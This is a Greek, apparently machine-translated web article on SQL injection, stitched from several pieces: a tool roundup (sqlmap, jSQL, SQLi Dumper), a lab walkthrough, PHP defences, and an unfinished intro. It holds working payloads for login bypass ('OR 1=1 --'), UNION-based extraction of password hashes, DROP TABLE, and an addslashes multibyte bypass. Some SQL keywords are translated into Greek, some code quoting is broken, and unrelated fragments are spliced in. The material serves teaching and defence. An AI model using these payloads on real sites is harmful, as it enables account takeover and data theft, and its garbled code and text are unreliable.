Ένας πολύ ισχυρός σαρωτής που λειτουργεί με τα περισσότερα γνωστά DBMS. Υποστηρίζει διάφορες τεχνικές SQL injection. Έχει τη δυνατότητα να αναγνωρίζει αυτόματα τον τύπο κατακερματισμού κωδικού πρόσβασης και να τον σπάει χρησιμοποιώντας ένα λεξικό. Υπάρχει επίσης δυνατότητα λήψης και αποστολής αρχείων από τον διακομιστή.

Η εγκατάσταση σε περιβάλλον Linux πραγματοποιείται χρησιμοποιώντας τις εντολές:

  • κλώνος git https://github.com/sqlmapproject/sqlmap.git sqlmap-dev,
  • cdsqlmap-dev/,
  • ./sqlmap.py --wizard.

Για τα Windows υπάρχει τόσο μια γραμμή εντολών όσο και μια επιλογή γραφικού περιβάλλοντος χρήστη.

jSQL Injection

Το jSQL Injection είναι ένα εργαλείο πολλαπλών πλατφορμών για τη δοκιμή της εκμετάλλευσης τρωτών σημείων SQL. Είναι γραμμένο σε Java, επομένως το JRE πρέπει να είναι εγκατεστημένο στο σύστημα. Δυνατότητα επεξεργασίας αιτημάτων κεφαλίδας και cookie. Διαθέτει βολικό γραφικό περιβάλλον.

Η εγκατάσταση αυτού του πακέτου λογισμικού προχωρά ως εξής:

wget https://github.com/`curl -s https://github.com/ron190/jsql-injection/releases| grep-E -o "/ron190/jsql-injection/releases/download/v(1,2).(1,2)/jsql-injection-v(1,2).(1,2).jar"| head-n 1`

Εκκινήστε χρησιμοποιώντας την εντολή java -jar ./jsql-injection-v*.jar

Για να ξεκινήσετε τον έλεγχο ενός ιστότοπου για τρωτά σημεία SQL, πρέπει να εισαγάγετε τη διεύθυνσή του στο επάνω πεδίο. Είναι ξεχωριστά για GET και για POST. Εάν το αποτέλεσμα είναι θετικό, θα εμφανιστεί μια λίστα με τους διαθέσιμους πίνακες στο αριστερό παράθυρο. Μπορείτε να τα δείτε και να μάθετε ορισμένες εμπιστευτικές πληροφορίες.

Για να αναζητήσετε πίνακες διαχείρισης, χρησιμοποιήστε την καρτέλα "Σελίδα διαχειριστή". Αναζητά αυτόματα αρχεία συστήματος προνομιούχων χρηστών χρησιμοποιώντας ειδικά πρότυπα. Από αυτούς μπορείτε να λάβετε μόνο έναν κατακερματισμό κωδικού πρόσβασης. Διατίθεται όμως και στα εργαλεία του προγράμματος.

Αφού βρείτε όλα τα τρωτά σημεία και εισάγετε τα απαραίτητα αιτήματα, το βοηθητικό πρόγραμμα θα σας επιτρέψει να ανεβάσετε το αρχείο σας στον διακομιστή ή, αντίθετα, να το κατεβάσετε από εκεί.

SQLi Dumper v.7

Αυτό το πρόγραμμα είναι ένα εύχρηστο εργαλείο για την εύρεση και την υλοποίηση τρωτών σημείων στην SQL. Τα Ηνωμένα Έθνη το παράγουν με βάση τους λεγόμενους ντόκους. Οι λίστες τους βρίσκονται στο Διαδίκτυο. Οι λέξεις-κλειδιά SQL injection είναι ειδικά μοτίβα ερωτημάτων αναζήτησης. Με τη βοήθειά τους μπορείτε ενδεχομένως να τα βρείτε μέσω οποιασδήποτε μηχανής αναζήτησης.

Εργαλεία Εκπαίδευσης

Ο ιστότοπος itecgames.com διαθέτει ένα ειδικό σύνολο εργαλείων που σας επιτρέπει να χρησιμοποιήσετε παραδείγματα για να δείξετε πώς να κάνετε μια ένεση SQL και να τη δοκιμάσετε. Για να το χρησιμοποιήσετε, πρέπει να το κατεβάσετε και να το εγκαταστήσετε. Το αρχείο περιέχει ένα σύνολο αρχείων που αντιπροσωπεύει τη δομή του ιστότοπου. Για να το εγκαταστήσετε, θα χρειαστείτε ένα σύνολο διακομιστών ιστού Apache, MySQL και PHP που είναι διαθέσιμοι στο σύστημα.

Αφού αποσυσκευάσετε το αρχείο στο φάκελο διακομιστή web, πρέπει να μεταβείτε στη διεύθυνση που καταχωρίσατε κατά την εγκατάσταση αυτού του προϊόντος λογισμικού. Θα ανοίξει η σελίδα εγγραφής χρήστη. Εδώ πρέπει να εισαγάγετε τα δεδομένα σας και να κάνετε κλικ στο «Δημιουργία». Έχοντας μεταφέρει τον χρήστη σε νέο παράθυρο, το σύστημα θα προσφέρει να επιλέξει μία από τις επιλογές δοκιμής. Ανάμεσά τους υπάρχουν τόσο οι περιγραφόμενες ενέσεις όσο και πολλές άλλες δοκιμαστικές εργασίες.

Αξίζει να δούμε ένα παράδειγμα μιας ένεσης SQL όπως το GET/Search. Εδώ πρέπει να το επιλέξετε και να κάνετε κλικ στο "Hack". Θα παρουσιαστεί στον χρήστη μια γραμμή αναζήτησης και μια απομίμηση ενός συγκεκριμένου ιστότοπου με ταινίες. Μπορείς να περάσεις από ταινίες για πολύ καιρό. Αλλά υπάρχουν μόνο 10. Για παράδειγμα, μπορείτε να δοκιμάσετε να μπείτε στο Iron Man. Η ταινία θα εμφανιστεί, πράγμα που σημαίνει ότι ο ιστότοπος λειτουργεί και υπάρχουν πίνακες σε αυτό. Τώρα πρέπει να ελέγξουμε αν το σενάριο φιλτράρει ειδικούς χαρακτήρες, ιδιαίτερα το απόσπασμα. Για να το κάνετε αυτό, πρέπει να προσθέσετε το "" στη γραμμή διευθύνσεων. Επιπλέον, αυτό πρέπει να γίνει μετά το όνομα της ταινίας. Ο ιστότοπος θα εμφανίσει το σφάλμα Σφάλμα: Έχετε ένα σφάλμα στη σύνταξη SQL, ελέγξτε το εγχειρίδιο που αντιστοιχεί στην έκδοση του διακομιστή MySQL για χρήση της σωστής σύνταξης κοντά στο "%" στη γραμμή 1, κάτι που υποδεικνύει ότι οι χαρακτήρες εξακολουθούν να υποβάλλονται σε λανθασμένη επεξεργασία. Αυτό σημαίνει ότι μπορείτε να προσπαθήσετε να αντικαταστήσετε το αίτημά σας. Αλλά πρέπει πρώτα να υπολογίσετε τον αριθμό των πεδίων. Για να το κάνετε αυτό, χρησιμοποιήστε τη σειρά κατά, η οποία εισάγεται μετά το απόσπασμα: http://testsites.com/sqli_1.php?title=Iron+Man" σειρά κατά 2 --&action=search.

Αυτή η εντολή θα εμφανίσει απλώς πληροφορίες για την ταινία, δηλαδή ο αριθμός των πεδίων είναι μεγαλύτερος από 2. Η διπλή παύλα λέει στον διακομιστή ότι άλλα αιτήματα πρέπει να απορριφθούν. Τώρα πρέπει να επαναλάβετε, αντικαθιστώντας όλο και μεγαλύτερες τιμές μέχρι να εμφανιστεί ένα σφάλμα. Ως αποτέλεσμα, αποδεικνύεται ότι θα υπάρχουν 7 πεδία.

Τώρα ήρθε η ώρα να πάρετε κάτι χρήσιμο από τη βάση δεδομένων. Θα πρέπει να τροποποιήσετε ελαφρώς το αίτημα στη γραμμή διευθύνσεων, φέρνοντάς το σε αυτή τη φόρμα: http://testsites.com/sqli_1.php?title=Iron+Man" ένωση επιλέξτε 1, βάση δεδομένων(), χρήστη(),4 ,password,6, 7 από χρήστες --&action=search. Ως αποτέλεσμα της εκτέλεσής του, θα εμφανιστούν γραμμές με κατακερματισμό κωδικού πρόσβασης, οι οποίοι μπορούν εύκολα να μετατραπούν σε κατανοητούς χαρακτήρες χρησιμοποιώντας μία από τις διαδικτυακές υπηρεσίες. Και με λίγη μαγεία και επιλέγοντας το όνομα του πεδίου σύνδεσης, μπορείτε να αποκτήσετε πρόσβαση στο αρχείο κάποιου άλλου, για παράδειγμα, στον διαχειριστή του ιστότοπου.

Το προϊόν έχει έναν τόνο διαφορετικών τύπων έγχυσης για εξάσκηση. Αξίζει να θυμόμαστε ότι η χρήση αυτών των δεξιοτήτων στο διαδίκτυο ή σε πραγματικούς ιστότοπους μπορεί να είναι ποινικά αξιόποινη.

Ενέσεις και PHP

Κατά κανόνα, είναι ο κώδικας PHP που είναι υπεύθυνος για την απαραίτητη επεξεργασία των αιτημάτων που προέρχονται από τον χρήστη. Επομένως, σε αυτό το επίπεδο πρέπει να δημιουργήσετε προστασία έναντι των ενέσεων SQL στην PHP.

  • Τα δεδομένα πρέπει πάντα να υποβάλλονται σε επεξεργασία πριν αποθηκευτούν στη βάση δεδομένων. Αυτό μπορεί να επιτευχθεί είτε χρησιμοποιώντας υπάρχουσες εκφράσεις είτε οργανώνοντας τα ερωτήματα χειροκίνητα. Εδώ, επίσης, αξίζει να ληφθεί υπόψη ότι οι αριθμητικές τιμές μετατρέπονται στον τύπο που απαιτείται.
  • Αποφύγετε την εμφάνιση διαφόρων δομών ελέγχου στο αίτημα.

Τώρα λίγα λόγια για τους κανόνες για τη σύνταξη ερωτημάτων στη MySQL για προστασία από ενέσεις SQL.

Όταν γράφετε οποιεσδήποτε εκφράσεις ερωτήματος, είναι σημαντικό να διαχωρίζετε τα δεδομένα από τις λέξεις-κλειδιά SQL.

  • ΕΠΙΛΟΓΗ * ΑΠΟ τον πίνακα ΟΠΟΥ όνομα = Zerg.

Σε αυτόν τον σχεδιασμό, το σύστημα μπορεί να πιστεύει ότι το Zerg είναι το όνομα ενός πεδίου, επομένως πρέπει να περικλείεται σε εισαγωγικά.

  • ΕΠΙΛΟΓΗ * ΑΠΟ τον πίνακα WHERE όνομα = "Zerg".

Ωστόσο, υπάρχουν περιπτώσεις όπου η ίδια η τιμή περιέχει εισαγωγικά.

  • SELECT * FROM table WHERE όνομα = "Ακτή Ελεφαντοστού".

Εδώ θα γίνει επεξεργασία μόνο ενός μέρους του cat-d και το υπόλοιπο μπορεί να γίνει αντιληπτό ως εντολή, η οποία, φυσικά, δεν υπάρχει. Επομένως θα προκύψει σφάλμα. Αυτό σημαίνει ότι αυτού του είδους τα δεδομένα πρέπει να ελεγχθούν. Για να το κάνετε αυτό, χρησιμοποιήστε την ανάστροφη κάθετο - \.

  • SELECT * FROM table WHERE όνομα = "Ακτή Ελεφαντοστού".

Όλα τα παραπάνω ισχύουν για χορδές. Εάν η ενέργεια εμφανίζεται με έναν αριθμό, τότε δεν χρειάζεται εισαγωγικά ή κάθετες. Ωστόσο, πρέπει να αναγκαστούν να μετατραπούν στον απαιτούμενο τύπο δεδομένων.

Υπάρχει μια σύσταση ότι το όνομα του πεδίου πρέπει να περικλείεται σε ένα οπίσθιο εισαγωγικό. Αυτό το σύμβολο βρίσκεται στην αριστερή πλευρά του πληκτρολογίου, μαζί με το σύμβολο "~". Αυτό είναι απαραίτητο ώστε η MySQL να μπορεί να διακρίνει με ακρίβεια το όνομα του πεδίου από τη λέξη-κλειδί του.

Δυναμική εργασία με δεδομένα

Πολύ συχνά, τα ερωτήματα που δημιουργούνται δυναμικά χρησιμοποιούνται για τη λήψη οποιωνδήποτε δεδομένων από τη βάση δεδομένων. Για παράδειγμα:

  • ΕΠΙΛΟΓΗ * ΑΠΟ τον πίνακα WHERE αριθμός = "$number".

Εδώ η μεταβλητή $number μεταβιβάζεται ως ορισμός της τιμής του πεδίου. Τι θα συμβεί εάν η Ακτή Ελεφαντοστού μπει σε αυτό; Σφάλμα.

Φυσικά, μπορείτε να αποφύγετε αυτό το πρόβλημα ενεργοποιώντας τα "μαγικά εισαγωγικά" στις ρυθμίσεις. Τώρα όμως τα δεδομένα θα ελέγχονται όπου είναι απαραίτητο και όπου δεν είναι απαραίτητο. Επιπλέον, εάν ο κώδικας είναι γραμμένος με το χέρι, τότε μπορείτε να αφιερώσετε λίγο περισσότερο χρόνο δημιουργώντας μόνοι σας ένα σύστημα ανθεκτικό στο hack.

Για να προσθέσετε μια κάθετο μόνοι σας, μπορείτε να χρησιμοποιήσετε το mysql_real_escape_string.

$number=mysql_real_escape_string($number);

$year=mysql_real_escape_string($year);

$query="INSERT INTO table (number,year,class) VALUES ("$number","$year",11)".

Παρόλο που ο κώδικας έχει αυξηθεί σε όγκο, θα εξακολουθεί να λειτουργεί με πολύ μεγαλύτερη ασφάλεια.

Placeholders

Τα σύμβολα θέσης είναι μοναδικοί δείκτες με τους οποίους το σύστημα γνωρίζει ότι μια ειδική συνάρτηση πρέπει να εισαχθεί σε αυτό το μέρος. Για παράδειγμα:

$sate = $mysqli->prepare("SELECT District FROM Number WHERE Name=?");

$sate->bind_param("s", $number);

$sate->execute();

Αυτή η ενότητα κώδικα προετοιμάζει ένα πρότυπο αίτησης, στη συνέχεια δεσμεύει τη μεταβλητή αριθμού και την εκτελεί. Αυτή η προσέγγιση σάς επιτρέπει να διαχωρίσετε την επεξεργασία αιτημάτων και την υλοποίησή της. Με αυτόν τον τρόπο, μπορείτε να προστατευθείτε από τη χρήση κακόβουλου κώδικα σε ερωτήματα SQL.

Τι μπορεί να κάνει ένας εισβολέας;

Η προστασία του συστήματος είναι ένας πολύ σημαντικός παράγοντας που δεν μπορεί να παραμεληθεί. Φυσικά, μια απλή ιστοσελίδα επαγγελματικών καρτών θα είναι ευκολότερο να αποκατασταθεί. Τι γίνεται αν πρόκειται για μια μεγάλη πύλη, υπηρεσία, φόρουμ; Τι συνέπειες μπορεί να υπάρξουν αν δεν σκέφτεστε την ασφάλεια;

Πρώτον, ένας χάκερ μπορεί να παραβιάσει την ακεραιότητα της βάσης δεδομένων και να τη διαγράψει εντελώς. Και αν ο διαχειριστής ή ο οικοδεσπότης του ιστότοπου δεν έκανε αντίγραφο ασφαλείας, τότε θα είναι δύσκολο. Επιπλέον, ένας εισβολέας, έχοντας παραβιάσει έναν ιστότοπο, μπορεί να μετακινηθεί σε άλλους που φιλοξενούνται στον ίδιο διακομιστή.

Ακολουθεί η κλοπή των προσωπικών δεδομένων των επισκεπτών. Ο τρόπος χρήσης τους περιορίζεται μόνο από τη φαντασία του χάκερ. Αλλά σε κάθε περίπτωση, οι συνέπειες δεν θα είναι πολύ ευχάριστες. Ειδικά αν περιείχε οικονομικά στοιχεία.

Ένας εισβολέας μπορεί επίσης να διαρρεύσει τη βάση δεδομένων στον εαυτό του και στη συνέχεια να εκβιάσει χρήματα για την επιστροφή της.

Η παραπληροφόρηση των χρηστών για λογαριασμό ενός ατόμου που δεν είναι αυτοί μπορεί επίσης να έχει αρνητικές συνέπειες, καθώς είναι πιθανές περιπτώσεις απάτης.

συμπέρασμα

Όλες οι πληροφορίες σε αυτό το άρθρο παρέχονται μόνο για ενημερωτικούς σκοπούς. Θα πρέπει να το χρησιμοποιείτε μόνο για τη δοκιμή των δικών σας έργων κατά τον εντοπισμό τρωτών σημείων και την εξάλειψή τους.

Για μια πιο εις βάθος μελέτη της μεθοδολογίας του τρόπου διεξαγωγής μιας ένεσης SQL, πρέπει να ξεκινήσετε ερευνώντας πραγματικά τις δυνατότητες και τα χαρακτηριστικά της γλώσσας SQL. Πώς συντίθενται τα ερωτήματα, λέξεις-κλειδιά, τύποι δεδομένων και η εφαρμογή όλων αυτών.

Επίσης, δεν μπορείτε να κάνετε χωρίς να κατανοήσετε πώς λειτουργούν οι λειτουργίες της PHP και τα στοιχεία HTML. Τα κύρια ευάλωτα σημεία για τη χρήση ενέσεων είναι η γραμμή διευθύνσεων, η αναζήτηση και διάφορα πεδία. Η μελέτη των συναρτήσεων της PHP, του τρόπου υλοποίησης και των δυνατοτήτων τους θα σας βοηθήσει να κατανοήσετε πώς μπορείτε να αποφύγετε λάθη.

Η παρουσία πολλών έτοιμων εργαλείων λογισμικού σάς επιτρέπει να διεξάγετε μια εις βάθος ανάλυση του ιστότοπου για γνωστά τρωτά σημεία. Ένα από τα πιο δημοφιλή προϊόντα είναι το kali linux. Αυτή είναι μια εικόνα ενός λειτουργικού συστήματος που βασίζεται σε Linux, το οποίο περιέχει μεγάλο αριθμό βοηθητικών προγραμμάτων και προγραμμάτων που μπορούν να πραγματοποιήσουν μια ολοκληρωμένη ανάλυση του ιστότοπου για ισχύ.

Γιατί πρέπει να ξέρετε πώς να χακάρετε έναν ιστότοπο; Όλα είναι πολύ απλά - αυτό είναι απαραίτητο για να έχετε μια ιδέα για τις δυνητικά ευάλωτες περιοχές του έργου ή του ιστότοπού σας. Ειδικά αν πρόκειται για ηλεκτρονικό κατάστημα με δυνατότητα πληρωμής στο διαδίκτυο, όπου τα δεδομένα πληρωμής του χρήστη μπορεί να παραβιαστούν από έναν εισβολέα.

Για επαγγελματική έρευνα, οι υπηρεσίες ασφάλειας πληροφοριών θα μπορούν να ελέγχουν τον ιστότοπο σύμφωνα με διαφορετικά κριτήρια και βάθος. Ξεκινώντας από την απλή ένεση HTML έως την κοινωνική μηχανική και το ηλεκτρονικό ψάρεμα.

Σας ευχόμαστε καλή επιτυχία στην ολοκλήρωσή του. Τα αποτελέσματα του περάσματός σας θα δημοσιευτούν αργότερα (ακολουθήστε τις ειδήσεις στα κοινωνικά δίκτυα) και σε όλους όσους έχουν περάσει θα σταλεί επίσης ένα καλώνα εγγραφείτε στον ιστότοπο.

Κάντε like, κοινή χρήση με φίλους και συναδέλφους, αναδημοσίευση στα κοινωνικά δίκτυα.

Όλοι οι προγραμματιστές έχουν διαβάσει ή τουλάχιστον έχουν ακούσει για μεθόδους παραβίασης της ασφάλειας ιστοτόπων. Ή ακόμη και αντιμετώπισε αυτό το πρόβλημα. Από την άλλη πλευρά, η φαντασία όσων θέλουν να σπάσουν τον ιστότοπο είναι ατελείωτη, επομένως όλα τα σημεία συμφόρησης πρέπει να προστατεύονται καλά. Γι' αυτό θα ήθελα να ξεκινήσω μια σειρά σύντομων άρθρων που θα εισάγουν βασικές μεθόδους και τεχνικές παραβίασης ιστοτόπων.

Στο πρώτο άρθρο, θα ήθελα να περιγράψω και να εξηγήσω μερικές κοινές μεθόδους για το hacking ενός από τα πιο ευάλωτα σημεία του ιστότοπου - φόρμες. Θα αναφερθώ σε λεπτομέρειες σχετικά με το πώς να χρησιμοποιήσετε αυτές τις τεχνικές και πώς να αποτρέψετε επιθέσεις, καθώς και να καλύψω τις δοκιμές ασφαλείας.

SQL injection

Η ένεση SQl είναι μια τεχνική όπου ένας εισβολέας εισάγει εντολές SQL σε ένα πεδίο εισαγωγής σε μια ιστοσελίδα. Αυτή η εισαγωγή μπορεί να είναι οτιδήποτε - ένα πεδίο κειμένου σε μια φόρμα, παραμέτρους _GET και _POST, cookies, κ.λπ. Αυτή η μέθοδος ήταν πολύ αποτελεσματική πριν από την εμφάνιση των πλαισίων στον κόσμο της PHP. Αλλά αυτό το hack μπορεί να είναι ακόμα επικίνδυνο εάν δεν χρησιμοποιείτε ένα ORM ή άλλες επεκτάσεις στο αντικείμενο δεδομένων. Γιατί; Λόγω του τρόπου με τον οποίο μεταβιβάζονται οι παράμετροι στο ερώτημα SQL.

«Τυφλές» ενέσεις

Ας ξεκινήσουμε με ένα κλασικό παράδειγμα μιας δήλωσης SQL που επιστρέφει τον χρήστη με βάση τη σύνδεσή του και τον κατακερματισμό του κωδικού πρόσβασης (σελίδα σύνδεσης)

Παράδειγμα 1

mysql_query("SELECT id, login FROM users WHERE login = ? and password = hash(?)");

Έβαλα ερωτηματικά στην έκφραση λόγω των διαφορετικών παραλλαγών αυτής της λύσης. Η πρώτη επιλογή, κατά τη γνώμη μου, είναι η πιο ευάλωτη:

Παράδειγμα 1α

Mysql_query("SELECT id, login FROM users WHERE login = "" . $login . "" and password = hash("" . $password . "")");

Σε αυτήν την περίπτωση, ο κωδικός δεν ελέγχει για μη έγκυρη εισαγωγή δεδομένων. Οι τιμές μεταβιβάζονται απευθείας από τη φόρμα εισαγωγής στο ερώτημα SQL. Στην καλύτερη περίπτωση, ο χρήστης θα εισάγει εδώ το όνομα χρήστη και τον κωδικό πρόσβασής του. Ποιο είναι το χειρότερο σενάριο; Ας προσπαθήσουμε να χακάρουμε αυτήν τη φόρμα. Αυτό μπορεί να γίνει διαβιβάζοντας «έτοιμα» δεδομένα. Ας προσπαθήσουμε να συνδεθείτε ως ο πρώτος χρήστης από τη βάση δεδομένων, και στις περισσότερες περιπτώσεις αυτός είναι ο λογαριασμός διαχειριστή. Για να γίνει αυτό, θα περάσουμε μια ειδική συμβολοσειρά αντί να εισαγάγουμε τη σύνδεση:

" Ή 1=1; --

Το πρώτο απόσπασμα μπορεί επίσης να είναι ένα μεμονωμένο απόσπασμα, επομένως μια απόπειρα hacking μπορεί να μην είναι αρκετή. Στο τέλος υπάρχει ένα ερωτηματικό και δύο παύλες ώστε ό,τι ακολουθεί να μετατρέπεται σε σχόλιο. Ως αποτέλεσμα, θα εκτελεστεί το ακόλουθο ερώτημα SQL:

SELECT id, login FROM users WHERE login = “;” Ή 1=1 ΟΡΙΟ 0,1; - και κωδικός πρόσβασης = κατακερματισμός (";Κάποιος κωδικός πρόσβασης")

Θα επιστρέψει τον πρώτο χρήστη από τη βάση δεδομένων και πιθανώς θα συνδεθεί στην εφαρμογή ως αυτός ο χρήστης. Μια καλή κίνηση θα ήταν να προσθέσετε LIMIT για να συνδεθείτε ως μεμονωμένος χρήστης. Αυτό είναι το μόνο πράγμα που χρειάζεται για να περάσετε από κάθε τιμή.

Πιο σοβαροί τρόποι

Στο προηγούμενο παράδειγμα, όλα δεν είναι τόσο τρομακτικά. Οι επιλογές στον πίνακα ελέγχου διαχειριστή είναι πάντα περιορισμένες και θα χρειαζόταν πολλή δουλειά για να σπάσει πραγματικά ο ιστότοπος. Αλλά μια επίθεση μέσω SQL injection μπορεί να οδηγήσει σε πολύ μεγαλύτερη ζημιά στο σύστημα. Σκεφτείτε πόσες εφαρμογές δημιουργούνται με τον κύριο πίνακα "χρήστες" και τι θα συνέβαινε εάν ένας εισβολέας εισαγάγει κώδικα όπως αυτός σε μια μη προστατευμένη φόρμα:

Η αγαπημένη μου σύνδεση"; DROP TABLE χρήστες; --

Ο πίνακας "χρήστες" θα διαγραφεί. Αυτός είναι ένας από τους λόγους για να κάνετε πιο συχνά αντίγραφα ασφαλείας της βάσης δεδομένων.

_GET παραμέτρους

Όλες οι παράμετροι που συμπληρώνονται μέσω της φόρμας μεταδίδονται στον διακομιστή χρησιμοποιώντας μία από τις δύο μεθόδους - GET ή POST. Η πιο κοινή παράμετρος που μεταβιβάζεται μέσω του GET είναι το id. Αυτό είναι ένα από τα πιο ευάλωτα μέρη για επιθέσεις και δεν έχει σημασία τον τύπο URL που χρησιμοποιείτε - ` http://example.com/ χρήστες/?id=1", ή " http://example.com/ χρήστες/1`, ή ` http://....../.../ Θέση/35 `.

Τι θα συμβεί αν εισαγάγουμε τον ακόλουθο κώδικα στη διεύθυνση URL;

Http://example.com/users/?id=1 ΚΑΙ 1=0 UNION SELECT 1,concat(login,password), 3,4,5,6 FROM users WHERE id =1; --

Πιθανώς, ένα τέτοιο αίτημα θα επιστρέψει το login του χρήστη και... έναν κατακερματισμό του κωδικού πρόσβασής του. Το πρώτο μέρος του αιτήματος «AND 1=0» μετατρέπει ό,τι προηγείται σε ψευδές, επομένως δεν θα ληφθούν εγγραφές. Και το δεύτερο μέρος του αιτήματος θα επιστρέψει δεδομένα με τη μορφή προετοιμασμένων δεδομένων. Και δεδομένου ότι η πρώτη παράμετρος είναι id, η επόμενη θα είναι η σύνδεση του χρήστη και ο κατακερματισμός του κωδικού πρόσβασής του και ορισμένες άλλες παράμετροι. Υπάρχουν πολλά προγράμματα που χρησιμοποιούν ωμή βία για να αποκωδικοποιήσουν έναν κωδικό πρόσβασης όπως αυτός στο παράδειγμα. Και δεδομένου ότι ο χρήστης μπορεί να χρησιμοποιήσει τον ίδιο κωδικό πρόσβασης για διαφορετικές υπηρεσίες, είναι δυνατό να αποκτήσει πρόσβαση σε αυτές.

Και αυτό είναι το περίεργο: είναι εντελώς αδύνατο να αμυνθεί κανείς από αυτόν τον τύπο επίθεσης χρησιμοποιώντας μεθόδους όπως «mysql_real_escape_string», «addslashes» κ.λπ. δ. Βασικά, δεν υπάρχει τρόπος να αποφευχθεί μια τέτοια επίθεση, οπότε αν οι παράμετροι περάσουν ως εξής:

"SELECT id, login, email, param1 FROM users WHERE id = " . addslashes($_GET["id"]);"

τα προβλήματα δεν θα φύγουν.

Διαφυγή χαρακτήρων σε μια συμβολοσειρά

Όταν ήμουν νέος στον προγραμματισμό, δυσκολευόμουν να δουλέψω με κωδικοποιήσεις. Δεν κατάλαβα ποια ήταν η διαφορά μεταξύ τους, γιατί να χρησιμοποιήσετε το UTF-8 όταν χρειάζεστε UTF-16, γιατί η βάση δεδομένων ορίζει πάντα την κωδικοποίηση σε latin1. Όταν τελικά άρχισα να καταλαβαίνω όλα αυτά, ανακάλυψα ότι θα υπήρχαν λιγότερα προβλήματα αν διατηρούσα τα πάντα σε ένα πρότυπο κωδικοποίησης. Κατά την ταξινόμηση όλων αυτών, παρατήρησα επίσης ζητήματα ασφαλείας που προκύπτουν κατά τη μετατροπή από μια κωδικοποίηση σε άλλη.

Τα προβλήματα που περιγράφονται στα περισσότερα από τα προηγούμενα παραδείγματα μπορούν να αποφευχθούν χρησιμοποιώντας μεμονωμένα εισαγωγικά σε ερωτήματα. Εάν χρησιμοποιείτε addslashes(), οι επιθέσεις SQL injection που βασίζονται σε μεμονωμένα εισαγωγικά που διαφεύγουν με ανάστροφη κάθετο θα αποτύχουν. Αλλά μια τέτοια επίθεση μπορεί να λειτουργήσει εάν απλώς αντικαταστήσετε έναν χαρακτήρα με κωδικό 0xbf27, η addslashes() τον μετατρέψει σε χαρακτήρα με κωδικό 0xbf5c27 - και αυτός είναι ένας απολύτως έγκυρος χαρακτήρας μεμονωμένου εισαγωγικού. Με άλλα λόγια, το `뼧` θα περάσει από addslashes() και στη συνέχεια η αντιστοίχιση MySQL θα το μετατρέψει σε δύο χαρακτήρες 0xbf (¿) και 0x27 (‘).

"SELECT * FROM users WHERE login = ""; . addslashes($_GET["login"]) . ";"";

Αυτό το παράδειγμα μπορεί να παραβιαστεί περνώντας το 뼧 ή το 1=1. -- στο πεδίο σύνδεσης στη φόρμα. Η μηχανή SQL θα δημιουργήσει το τελικό ερώτημα ως εξής:

ΕΠΙΛΟΓΗ * ΑΠΟ χρήστες WHERE login = "¿" Ή 1=1; --

Και θα επιστρέψει τον πρώτο χρήστη από τη βάση δεδομένων.

ΠΡΟΣΤΑΣΙΑ

Πώς να προστατέψετε την εφαρμογή; Υπάρχουν πολλές μέθοδοι, η χρήση των οποίων δεν θα κάνει την εφαρμογή εντελώς άτρωτη, αλλά τουλάχιστον θα αυξήσει την ασφάλειά της.

Χρησιμοποιώντας mysql_real_escape_string

Η συνάρτηση addslashes() είναι αναξιόπιστη γιατί δεν επιτρέπει πολλές περιπτώσεις hacking. Το mysql_real_escape_string δεν έχει τέτοια προβλήματα

Χρησιμοποιώντας MySQLi

Αυτή η επέκταση MySQL μπορεί να λειτουργήσει με σχετικές παραμέτρους:

$stmt = $db->prepare("update uets set parameter = ? where id = ?"); $stmt->bind_param("si", $name, $id); $stmt->execute();

Χρήση ΠΟΠ

Μακρύς δρόμος για την αντικατάσταση των παραμέτρων:

$dbh = νέο ΠΟΠ("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("INSERT INTO registry (name, value) VALUES (:name, :value)"); $stmt->bindParam(":name", $name); $stmt->bindParam(":value", $value); // εισαγάγετε μια σειρά $name = "one"; $value = 1; $stmt->execute();

Σύντομος τρόπος:

$dbh = νέο ΠΟΠ("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("UPDATE people SET name = :new_name WHERE id = :id"); $stmt->execute(array("new_name" => $name, "id" => $id));

Χρήση ORM

Χρησιμοποιήστε τις παραμέτρους ORM και PDO και bind (use bind). Αποφύγετε την SQL στον κώδικά σας, αν δείτε SQL στον κώδικά σας τότε κάτι δεν πάει καλά με αυτό.

Η ORM θα φροντίσει για την ασφάλεια στα σημεία συμφόρησης στην επικύρωση κώδικα και παραμέτρων.

συμπεράσματα

Ο σκοπός αυτής της σειράς δεν είναι να παρέχει έναν πλήρη οδηγό για την παραβίαση ιστοσελίδων, αλλά να διασφαλίζει την ασφάλεια των εφαρμογών και να αποτρέπει επιθέσεις από οποιαδήποτε πηγή. Προσπάθησα να γράψω αυτό το άρθρο όχι μόνο για προγραμματιστές - θα πρέπει να γνωρίζουν τυχόν απειλές στον κώδικα και να ξέρουν πώς να τις αποτρέψουν, αλλά και για ποιοτικούς μηχανικούς - επειδή η δουλειά τους είναι να παρακολουθούν και να αναφέρουν τέτοια ζητήματα .

Η ουσία των ενέσεων SQL

Πιθανότατα έχετε ήδη ακούσει το αστείο από το Διαδίκτυο: Γιατί είναι το ίδιο σε όλα τα μαθήματα σχεδίου: Για παράδειγμα, ένα μάθημα σχεδίασης μιας κουκουβάγιας. Αρχικά, σχεδιάζουμε το μάτι της κουκουβάγιας λεπτομερώς για μισή ώρα. Και μετά - μια φορά - σε πέντε λεπτά - σχεδιάζουμε την υπόλοιπη κουκουβάγια».

Υπάρχει ακόμη και μια φωτογραφία σχετικά με αυτό:

Υπάρχει πολύ υλικό για τις ενέσεις SQL: άρθρα, βιβλία, μαθήματα βίντεο (πληρωμένα και δωρεάν). Ωστόσο, πολλοί από αυτούς δεν προσθέτουν κατανόηση σε αυτό το ζήτημα. Ειδικά αν είσαι αρχάριος. Θυμάμαι καλά τα συναισθήματά μου: εδώ είναι ο κύκλος, εδώ είναι η υπόλοιπη κουκουβάγια...

Ο σκοπός αυτής της σημείωσης είναι να τραβήξει το μάτι στην κουκουβάγια για να δώσει μια κανονική, απλή εξήγηση, τι είναι οι ενέσεις SQL, ποια είναι η ουσία τους, πόσο επικίνδυνα είναι και γιατί.

Για πειράματα, θα έχουμε ένα πολύ απλό σενάριο που είναι ευάλωτο στην ένεση SQL:

Για πρόσβαση στην περιφερειακή βιβλιοθήκη Bobruisk, εισαγάγετε τα διαπιστευτήριά σας:

Εισάγετε το όνομά σας

Εισάγετε τον κωδικό σας


